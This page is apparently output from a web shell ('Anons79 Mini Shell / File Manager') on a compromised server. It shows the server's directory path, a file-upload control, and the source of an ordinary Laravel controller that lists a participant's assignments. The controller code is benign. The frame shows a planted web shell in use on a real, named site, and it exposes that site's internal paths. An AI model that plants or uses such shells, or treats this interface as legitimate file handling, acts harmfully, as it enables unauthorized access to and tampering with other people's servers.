Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/talent.gosepakat.id/app/Http/Controllers/Peserta/
Upload File :
Current File : /home/aplikasiposinfo/www/talent.gosepakat.id/app/Http/Controllers/Peserta/TugasController.php

<?php

namespace App\Http\Controllers\Peserta;

use App\Facades\DataTable;
use App\Http\Controllers\Controller;
use App\Models\TugasPeserta;
use Illuminate\Http\Request;
use Inertia\Inertia;

class TugasController extends Controller
{
    public function index()
    {

        $sort = str_replace(
            ['title', 'created_at'],
            ['title', 'created_at'],
            request()->query('col')
        );

        $result = DataTable::query(TugasPeserta::with('materi_tugas')->where('user_id', auth()->user()->id)->newQuery())
            ->with(['materi_tugas'])
            ->searchable(['materi_tugas.name', 'materi_tugas.due_date','created_at'])
            ->applySort($sort)
            ->allowedSorts(['materi_tugas.name', 'due_date'])
            ->make()->toArray();
        return Inertia::render('Peserta/Tugas/Index', [
            'datatable' => $result
        ]);

    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]